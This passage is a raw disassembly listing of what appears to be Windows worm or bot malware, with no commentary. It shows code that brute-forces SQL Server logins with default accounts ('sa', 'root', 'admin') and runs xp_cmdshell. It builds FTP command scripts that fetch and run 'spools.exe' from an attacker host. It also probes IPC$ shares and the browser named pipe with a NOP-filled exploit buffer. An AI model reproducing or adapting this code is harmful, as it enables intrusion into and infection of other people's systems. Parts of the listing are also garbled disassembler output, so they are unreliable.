sub_40D12A+54j cmp [ebp+18h], ebx jz short loc_40D18A mov eax, [ebp+18h] loc_40D18A: ; CODE XREF: sub_40D12A+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41C030 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4D1240 ; send cmp eax, esi jz short loc_40D1AF xor bl, bl jmp short loc_40D1B1 ; --------------------------------------------------------------------------- loc_40D1AF: ; CODE XREF: sub_40D12A+7Fj mov bl, 1 loc_40D1B1: ; CODE XREF: sub_40D12A+83j push edi call sub_41B961 pop ecx loc_40D1B8: ; CODE XREF: sub_40D12A+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D5C9 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D5C9 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D12A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 424h and byte ptr [ebp-424h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-423h] push 8Fh rep stosd stosw stosb lea eax, [ebp-424h] push offset sub_438C90 push eax call near ptr sub_41C9B0 add esp, 0Ch mov eax, offset aSpools_exe ; "spools.exe" push eax push eax movzx eax, word ptr dword_4D0F20 push eax push dword ptr [ebp+8] call sub_40AB6A pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... lea eax, [ebp-395h] push 400h push eax call sub_41C030 add eax, 90h push eax lea eax, [ebp-424h] push eax push 164h lea eax, [ebp-24h] push offset sub_438B28 push eax call sub_40C9E6 mov ecx, [eax] xor esi, esi mov [ebp-8], ecx add esp, 30h mov eax, [eax+4] cmp eax, esi mov [ebp-4], eax jnz short loc_40D28D xor eax, eax jmp loc_40D3B9 ; --------------------------------------------------------------------------- loc_40D28D: ; CODE XREF: .nsp0:0040D284j mov [ebp-0Ch], esi loc_40D290: ; CODE XREF: .nsp0:0040D390j test esi, esi jnz loc_40D396 push 6 push 1 push 2 call dword_42721C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D37E xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4D11F0 ; ntohs mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4D1230 ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4D1198 ; connect cmp eax, 0FFFFFFFFh jz loc_40D373 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D33B mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D5C9 lea eax, [ebp+0Ch] push eax call sub_41B890 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D605 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D12A add esp, 1Ch jmp short loc_40D370 ; --------------------------------------------------------------------------- loc_40D33B: ; CODE XREF: .nsp0:0040D2F9j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D355 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CEEA jmp short loc_40D36D ; --------------------------------------------------------------------------- loc_40D355: ; CODE XREF: .nsp0:0040D345j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D373 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CE10 loc_40D36D: ; CODE XREF: .nsp0:0040D353j add esp, 0Ch loc_40D370: ; CODE XREF: .nsp0:0040D339j movzx esi, al loc_40D373: ; CODE XREF: .nsp0:0040D2ECj ; .nsp0:0040D35Fj push ebx call dword_4D1288 ; closesocket test esi, esi jnz short loc_40D389 loc_40D37E: ; CODE XREF: .nsp0:0040D2A9j push 3E8h call dword_427064 ; Sleep loc_40D389: ; CODE XREF: .nsp0:0040D37Cj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D290 loc_40D396: ; CODE XREF: .nsp0:0040D292j lea ecx, [ebp-8] call sub_40C80B test esi, esi jz short loc_40D3B7 mov eax, [ebp+0B0h] shl eax, 6 inc dword_438050[eax] lea eax, dword_438050[eax] loc_40D3B7: ; CODE XREF: .nsp0:0040D3A0j mov eax, esi loc_40D3B9: ; CODE XREF: .nsp0:0040D288j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40D3BE: ; CODE XREF: .nsp0:00426C6Fj ; .nsp0:00426C85j ... push 1 call sub_40D5C9 retn ; =============== S U B R O U T I N E ======================================= sub_40D3C6 proc near ; CODE XREF: sub_40CF88+110p ; sub_40CF88+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D3E0 call sub_426290 loc_40D3E0: ; CODE XREF: sub_40D3C6+13j test ebx, ebx jbe short loc_40D417 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D544 test al, al jz short loc_40D417 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41BC40 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D417: ; CODE XREF: sub_40D3C6+1Cj ; sub_40D3C6+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D3C6 endp ; =============== S U B R O U T I N E ======================================= sub_40D41F proc near ; CODE XREF: sub_40CF88+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D439 call sub_426290 loc_40D439: ; CODE XREF: sub_40D41F+13j test ebx, ebx jbe short loc_40D46E mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D544 test al, al jz short loc_40D46E mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call near ptr sub_41C9B0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D46E: ; CODE XREF: sub_40D41F+1Cj ; sub_40D41F+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D41F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D476 proc near ; CODE XREF: sub_40CF88+17Cp ; sub_4262EA+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D48E call sub_4264BC loc_40D48E: ; CODE XREF: sub_40D476+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D4A0 mov esi, [ebp+arg_8] loc_40D4A0: ; CODE XREF: sub_40D476+25j cmp edi, ebx jnz short loc_40D4C2 push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D63A push [ebp+arg_4] mov ecx, edi push 0 call sub_40D63A jmp short loc_40D53B ; --------------------------------------------------------------------------- loc_40D4C2: ; CODE XREF: sub_40D476+2Cj test esi, esi jbe short loc_40D505 cmp esi, eax jnz short loc_40D505 mov eax, [ebx+4] test eax, eax jnz short loc_40D4D6 mov eax, offset dword_4276A8 loc_40D4D6: ; CODE XREF: sub_40D476+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D505 push 1 mov ecx, edi call sub_40D5C9 mov eax, [ebx+4] test eax, eax jnz short loc_40D4F1 mov eax, offset dword_4276A8 loc_40D4F1: ; CODE XREF: sub_40D476+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D53B ; --------------------------------------------------------------------------- loc_40D505: ; CODE XREF: sub_40D476+4Ej ; sub_40D476+52j ... push 1 push esi mov ecx, edi call sub_40D544 test al, al jz short loc_40D53B mov eax, [ebx+4] test eax, eax jnz short loc_40D51F mov eax, offset dword_4276A8 loc_40D51F: ; CODE XREF: sub_40D476+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call near ptr sub_41C9B0 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D53B: ; CODE XREF: sub_40D476+4Aj ; sub_40D476+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D476 endp ; =============== S U B R O U T I N E ======================================= sub_40D544 proc near ; CODE XREF: sub_40CF88+3Dp ; sub_40D3C6+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D556 call sub_426290 loc_40D556: ; CODE XREF: sub_40D544+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D57F mov al, [ecx-1] cmp al, dl jz short loc_40D57F cmp al, 0FFh jz short loc_40D57F cmp edi, edx jnz short loc_40D5BA dec al push edx mov [ecx-1], al loc_40D574: ; CODE XREF: sub_40D544+47j mov ecx, esi call sub_40D5C9 loc_40D57B: ; CODE XREF: sub_40D544+4Bj ; sub_40D544+52j xor al, al jmp short loc_40D5C4 ; --------------------------------------------------------------------------- loc_40D57F: ; CODE XREF: sub_40D544+19j ; sub_40D544+20j ... cmp edi, edx jnz short loc_40D598 cmp [esp+8+arg_4], dl jz short loc_40D58D push 1 jmp short loc_40D574 ; --------------------------------------------------------------------------- loc_40D58D: ; CODE XREF: sub_40D544+43j cmp ecx, edx jz short loc_40D57B mov [esi+8], edx mov [ecx], dl jmp short loc_40D57B ; --------------------------------------------------------------------------- loc_40D598: ; CODE XREF: sub_40D544+3Dj cmp [esp+8+arg_4], dl jz short loc_40D5B5 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D5AA cmp eax, edi jnb short loc_40D5C2 loc_40D5AA: ; CODE XREF: sub_40D544+60j push 1 mov ecx, esi call sub_40D5C9 jmp short loc_40D5BA ; --------------------------------------------------------------------------- loc_40D5B5: ; CODE XREF: sub_40D544+58j cmp [esi+0Ch], edi jnb short loc_40D5C2 loc_40D5BA: ; CODE XREF: sub_40D544+28j ; sub_40D544+6Fj push edi mov ecx, esi call sub_40D6A1 loc_40D5C2: ; CODE XREF: sub_40D544+64j ; sub_40D544+74j mov al, 1 loc_40D5C4: ; CODE XREF: sub_40D544+39j pop edi pop esi retn 8 sub_40D544 endp ; =============== S U B R O U T I N E ======================================= sub_40D5C9 proc near ; CODE XREF: sub_40CF88+1Fp ; sub_40CF88+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D5F5 mov eax, [esi+4] test eax, eax jz short loc_40D5F5 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D5EE cmp al, 0FFh jz short loc_40D5EE dec al mov [ecx], al jmp short loc_40D5F5 ; --------------------------------------------------------------------------- loc_40D5EE: ; CODE XREF: sub_40D5C9+19j ; sub_40D5C9+1Dj push ecx call sub_41D323 pop ecx loc_40D5F5: ; CODE XREF: sub_40D5C9+8j ; sub_40D5C9+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D5C9 endp ; =============== S U B R O U T I N E ======================================= sub_40D605 proc near ; CODE XREF: .nsp0:0040D325p ; sub_40D75E+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D544 test al, al jz short loc_40D633 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call near ptr sub_41C9B0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D633: ; CODE XREF: sub_40D605+12j mov eax, esi pop edi pop esi retn 8 sub_40D605 endp ; =============== S U B R O U T I N E ======================================= sub_40D63A proc near ; CODE XREF: sub_40D476+39p ; sub_40D476+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D64D call sub_4264BC loc_40D64D: ; CODE XREF: sub_40D63A+Cj mov ecx, edi call sub_40D75E mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D663 mov ebx, eax loc_40D663: ; CODE XREF: sub_40D63A+25j test ebx, ebx jbe short loc_40D699 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41D330 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D544 test al, al jz short loc_40D699 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D699: ; CODE XREF: sub_40D63A+2Bj ; sub_40D63A+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D63A endp ; =============== S U B R O U T I N E ======================================= sub_40D6A1 proc near ; CODE XREF: sub_40D544+79p mov eax, offset loc_426CB4 call sub_41D304 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D6C7 mov edi, [ebp+8] loc_40D6C7: ; CODE XREF: sub_40D6A1+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D6D4 xor eax, eax loc_40D6D4: ; CODE XREF: sub_40D6A1+2Fj push eax call sub_41D665 pop ecx mov [ebp+8], eax jmp short loc_40D705 ; --------------------------------------------------------------------------- loc_40D6E0: ; DATA XREF: .nsp0:00427FE4o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D6EF xor eax, eax loc_40D6EF: ; CODE XREF: sub_40D6A1+4Aj push eax call sub_41D665 mov [ebp+8], eax pop ecx mov eax, offset loc_40D6FF retn ; --------------------------------------------------------------------------- loc_40D6FF: ; DATA XREF: sub_40D6A1+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D705: ; CODE XREF: sub_40D6A1+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D723 cmp eax, edi jbe short loc_40D712 mov eax, edi loc_40D712: ; CODE XREF: sub_40D6A1+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call near ptr sub_41C9B0 add esp, 0Ch loc_40D723: ; CODE XREF: sub_40D6A1+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D5C9 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D743 mov edi, ebx loc_40D743: ; CODE XREF: sub_40D6A1+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D6A1 endp ; =============== S U B R O U T I N E ======================================= sub_40D75E proc near ; CODE XREF: sub_40D63A+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D78B mov al, [esi-1] test al, al jz short loc_40D78B cmp al, 0FFh jz short loc_40D78B push 1 call sub_40D5C9 push esi call sub_41B890 pop ecx push eax push esi mov ecx, edi call sub_40D605 loc_40D78B: ; CODE XREF: sub_40D75E+9j ; sub_40D75E+10j ... pop edi pop esi retn sub_40D75E endp ; =============== S U B R O U T I N E ======================================= sub_40D78E proc near ; DATA XREF: .nsp0:0042900Co test byte_4E180C, 1 jnz short loc_40D79E or byte_4E180C, 1 loc_40D79E: ; CODE XREF: sub_40D78E+7j jmp $+5 push offset nullsub_1 call sub_41D6E0 pop ecx retn sub_40D78E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov ebx, 8Bh sub esp, 0BCh lea esi, [ebp+8] mov [ebp+0A8h], ebx push 2Fh pop ecx mov edi, esp rep movsd call sub_40E13E push 2Fh lea esi, [ebp+8] pop ecx mov [ebp+0A8h], ebx mov edi, esp mov [ebp-4], eax rep movsd call sub_40E62B push 2Fh lea esi, [ebp+8] pop ecx mov [ebp+0A8h], ebx mov edi, esp mov [ebp-8], eax rep movsd call sub_40EA50 add esp, 0BCh cmp dword ptr [ebp-4], 0 jnz short loc_40D81D cmp dword ptr [ebp-8], 0 jnz short loc_40D81D test eax, eax jz short loc_40D820 loc_40D81D: ; CODE XREF: .nsp0:0040D811j ; .nsp0:0040D817j push 1 pop eax loc_40D820: ; CODE XREF: .nsp0:0040D81Bj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0E34h mov al, byte_443398 push ebx mov [ebp-1], al lea eax, [ebp-10h] push esi xor ebx, ebx push eax mov esi, offset aSa ; "sa" push ebx push 1 mov [ebp-34h], esi mov dword ptr [ebp-30h], offset aRoot ; "root" mov dword ptr [ebp-2Ch], offset aAdmin ; "admin" mov [ebp-28h], ebx mov [ebp-1Ch], ebx mov [ebp-0Ch], ebx mov [ebp-8], ebx call dword_4D116C test ax, ax jnz short loc_40D885 push 0FFFFFFFAh push 3 push 0C8h push dword ptr [ebp-10h] call dword_4D1278 test ax, ax jz short loc_40D88C loc_40D885: ; CODE XREF: .nsp0:0040D86Cj xor eax, eax jmp loc_40DACD ; --------------------------------------------------------------------------- loc_40D88C: ; CODE XREF: .nsp0:0040D883j lea eax, [ebp-0Ch] push eax push dword ptr [ebp-10h] push 2 call dword_4D116C test ax, ax jnz loc_40DAC0 test esi, esi push edi mov [ebp-18h], ebx jz loc_40DAB1 mov edi, dword_427064 lea ecx, [ebp-34h] mov [ebp-20h], ecx loc_40D8BC: ; CODE XREF: .nsp0:0040DA19j cmp off_429248, ebx mov [ebp-14h], ebx jz loc_40DA05 mov ebx, [ecx] mov eax, offset off_429248 mov esi, eax loc_40D8D4: ; CODE XREF: .nsp0:0040D948j lea ecx, [ebp-1] push ecx push dword ptr [eax] lea eax, [ebp+0Ch] push ebx push dword ptr [ebp+0A8h] push eax lea eax, [ebp-0A34h] push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"... push eax call sub_41BF36 add esp, 1Ch lea eax, [ebp-22h] push 0 push eax lea eax, [ebp-0E34h] push 400h push eax lea eax, [ebp-0A34h] push eax call sub_41B890 pop ecx push eax lea eax, [ebp-0A34h] push eax push 0 push dword ptr [ebp-0Ch] call dword_4D122C test ax, ax jz short loc_40D94F cmp ax, 1 jz short loc_40D94F push 1F4h call edi ; dword_427064 inc dword ptr [ebp-14h] add esi, 4 mov eax, esi cmp dword ptr [esi], 0 jnz short loc_40D8D4 jmp loc_40DA03 ; --------------------------------------------------------------------------- loc_40D94F: ; CODE XREF: .nsp0:0040D92Ej ; .nsp0:0040D934j lea eax, [ebp-8] push eax push dword ptr [ebp-0Ch] push 3 call dword_4D116C mov esi, offset aSpools_exe ; "spools.exe" push esi push esi call sub_41BF92 push eax call sub_41BF92 push eax push dword_4D0F20 push dword ptr [ebp+8] call sub_40AB6A pop ecx push eax lea eax, [ebp-634h] push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"... push eax call sub_41BF36 add esp, 20h lea eax, [ebp-634h] push 0FFFFFFFDh push eax push dword ptr [ebp-8] call dword_4D11B4 test ax, ax jz short loc_40D9F8 mov ebx, 1388h push ebx call edi ; dword_427064 push esi lea eax, [ebp-634h] push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'" push eax call sub_41BF36 lea eax, [ebp+0Ch] push eax lea eax, [ebp-234h] push offset unk_438DF4 push eax call sub_41BF36 add esp, 18h lea eax, [ebp-634h] push 0FFFFFFFDh push eax push dword ptr [ebp-8] call dword_4D11B4 test ax, ax jz short loc_40DA1E push ebx call edi ; dword_427064 loc_40D9F8: ; CODE XREF: .nsp0:0040D9AAj push dword ptr [ebp-8] push 3 call dword_4D120C loc_40DA03: ; CODE XREF: .nsp0:0040D94Aj xor ebx, ebx loc_40DA05: ; CODE XREF: .nsp0:0040D8C5j mov ecx, [ebp-20h] inc dword ptr [ebp-18h] add ecx, 4 mov [ebp-20h], ecx cmp [ecx], ebx jz loc_40DAB1 jmp loc_40D8BC ; --------------------------------------------------------------------------- loc_40DA1E: ; CODE XREF: .nsp0:0040D9F3j mov eax, [ebp-14h] mov dword ptr [ebp-1Ch], 1 push off_429248[eax*4] mov eax, [ebp-18h] push dword ptr [ebp+eax*4-34h] lea eax, [ebp+0Ch] push dword ptr [ebp+0A8h] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset unk_438DB0 lea eax, [ebp-234h] push 200h push eax call sub_41C030 add esp, 20h cmp dword ptr [ebp+0BCh], 0 jnz short loc_40DA8F push 0 lea eax, [ebp-234h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_4099D2 add esp, 14h loc_40DA8F: ; CODE XREF: .nsp0:0040DA6Fj lea eax, [ebp-234h] push eax call sub_4157A6 mov eax, [ebp+0B0h] pop ecx shl eax, 6 inc dword_438050[eax] lea eax, dword_438050[eax] loc_40DAB1: ; CODE XREF: .nsp0:0040D8AAj ; .nsp0:0040DA13j push dword ptr [ebp-0Ch] push 2 call dword_4D120C mov ebx, [ebp-1Ch] pop edi loc_40DAC0: ; CODE XREF: .nsp0:0040D89Ej push dword ptr [ebp-10h] push 1 call dword_4D120C mov eax, ebx loc_40DACD: ; CODE XREF: .nsp0:0040D887j pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40DAD1 proc near ; DATA XREF: .nsp0:00429010o jmp $+5 sub_40DAD1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40DAD6 proc near mov eax, dword_4390A8 add eax, 6 mov dword_4D3F14, eax retn sub_40DAD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAE4 proc near ; CODE XREF: sub_40DAE4+D0p ; .nsp0:0040E065p var_74BF8B40 = dword ptr -74BF8B40h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40DAF8 or [ebp+arg_7], 1 jmp short loc_40DAFC ; --------------------------------------------------------------------------- loc_40DAF8: ; CODE XREF: sub_40DAE4+Cj and [ebp+arg_7], 0FEh loc_40DAFC: ; CODE XREF: sub_40DAE4+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40DB20 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40DB32 ; --------------------------------------------------------------------------- loc_40DB20: ; CODE XREF: sub_40DAE4+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40DB32: ; CODE XREF: sub_40DAE4+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41BBCB test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40DBCB push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call near ptr sub_41C9B0 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call near ptr 0B40000h add [ebp+var_74BF8B40], 45h cld cmp [ebp+var_8], eax jnz short loc_40DBC2 push [ebp+arg_20] call sub_41B961 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40DBBE push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40DAE4 add esp, 2Ch jmp short loc_40DBCD ; --------------------------------------------------------------------------- loc_40DBBE: ; CODE XREF: sub_40DAE4+B3j mov al, 1 jmp short loc_40DBCD ; --------------------------------------------------------------------------- loc_40DBC2: ; CODE XREF: sub_40DAE4+A4j push [ebp+arg_20] call sub_41B961 pop ecx loc_40DBCB: ; CODE XREF: sub_40DAE4+61j xor al, al loc_40DBCD: ; CODE XREF: sub_40DAE4+D8j ; sub_40DAE4+DCj pop edi pop esi pop ebx leave retn sub_40DAE4 endp ; --------------------------------------------------------------------------- loc_40DBD2: ; CODE XREF: sub_40E13E+15p ; sub_40E13E+3Dp push ebp mov ebp, esp mov eax, 60E0h call sub_41C1D0 push ebx push esi push edi lea eax, [ebp+0Ch] push offset a_ ; "." push eax call sub_41D800 pop ecx xor ebx, ebx test eax, eax pop ecx jz short loc_40DC48 lea eax, [ebp+0Ch] mov esi, 2000h push eax push offset aSIpc ; "\\\\%s\\ipc$" lea eax, [ebp-20E0h] push esi push eax call sub_41C030 push 20h lea eax, [ebp-0E0h] push ebx push eax call sub_41BC40 lea eax, [ebp-20E0h] add esp, 1Ch mov [ebp-0CCh], eax mov eax, offset byte_443398 push ebx push eax push eax lea eax, [ebp-0E0h] push eax call dword_4D1298 jmp short loc_40DC4D ; --------------------------------------------------------------------------- loc_40DC48: ; CODE XREF: .nsp0:0040DBF6j mov esi, 2000h loc_40DC4D: ; CODE XREF: .nsp0:0040DC46j lea eax, [ebp+0Ch] push eax push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" lea eax, [ebp-40E0h] push esi push eax call sub_41C030 add esp, 10h lea eax, [ebp-40E0h] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call dword_4270EC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_40DC92 loc_40DC8B: ; CODE XREF: .nsp0:0040DD6Aj ; .nsp0:0040DF4Fj ... xor eax, eax jmp loc_40E139 ; --------------------------------------------------------------------------- loc_40DC92: ; CODE XREF: .nsp0:0040DC89j push 48h lea eax, [ebp-0BCh] push ebx push eax call sub_41BC40 push 10h mov byte ptr [ebp-0BCh], 5 pop eax mov [ebp-0BBh], bl push 1 mov [ebp-0B8h], eax pop edi mov byte ptr [ebp-0BAh], 0Bh push eax lea eax, [ebp-9Ch] push offset dword_4390FC push eax mov byte ptr [ebp-0B9h], 3 mov word ptr [ebp-0B4h], 48h mov [ebp-0B2h], bx mov [ebp-0B0h], ebx mov word ptr [ebp-0ACh], 10B8h mov word ptr [ebp-0AAh], 10B8h mov [ebp-0A8h], ebx mov [ebp-0A4h], edi mov [ebp-0A0h], bx mov byte ptr [ebp-9Eh], 1 call near ptr sub_41C9B0 push 10h lea eax, [ebp-88h] push offset dword_4390E8 push eax mov dword ptr [ebp-8Ch], 3 call near ptr sub_41C9B0 add esp, 24h lea eax, [ebp-0C0h] mov dword ptr [ebp-78h], 2 push ebx push eax lea eax, [ebp-0BCh] push 48h push eax push dword ptr [ebp-8] call near ptr 0B40000h xchg eax, ebx test eax, eax jnz short loc_40DD6F loc_40DD61: ; CODE XREF: .nsp0:0040DE41j push dword ptr [ebp-8] call dword_42706C ; CloseHandle jmp loc_40DC8B ; --------------------------------------------------------------------------- loc_40DD6F: ; CODE XREF: .nsp0:0040DD5Fj lea eax, [ebp-18h] push ebx push eax lea eax, [ebp-60E0h] push esi push eax push dword ptr [ebp-8] call dword_4270E8 ; ReadFile push ebx call sub_41D721 push eax call sub_41BF88 push 14h lea eax, [ebp-74h] push 41h push eax call sub_41BC40 push 1Ch lea eax, [ebp-34h] push 41h push eax call sub_41BC40 add esp, 20h call sub_41BF92 mov esi, [ebp+0C4h] mov [ebp-74h], eax mov [ebp-68h], edi mov [ebp-6Ch], ebx lea esi, [esi+esi*4] mov [ebp-70h], edi shl esi, 2 mov [ebp-64h], bx cmp byte_439090[esi], bl jz short loc_40DDE9 push 4 mov [ebp-28h], edi mov [ebp-2Ch], ebx mov [ebp-30h], edi push offset dword_4D3F1C jmp short loc_40DDFC ; --------------------------------------------------------------------------- loc_40DDE9: ; CODE XREF: .nsp0:0040DDD5j push 2 mov [ebp-2Ch], ebx pop eax push 4 mov [ebp-28h], eax mov [ebp-30h], eax push (offset loc_4390DF+1) loc_40DDFC: ; CODE XREF: .nsp0:0040DDE7j lea eax, [ebp-24h] push eax call near ptr sub_41C9B0 add esp, 0Ch call sub_41BF92 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-34h], edx call sub_41BF92 cdq idiv edi mov eax, dword_439084[esi] mov [ebp-1Ch], ebx push eax mov [ebp+0C4h], eax inc edx mov [ebp-20h], edx call sub_41BBCB mov edi, eax pop ecx cmp edi, ebx jz loc_40DD61 mov eax, [ebp+0C4h] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41BC40 mov eax, [ebp+0C4h] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41BC40 mov eax, dword_43908C[esi] push 7 add eax, edi push offset dword_439078 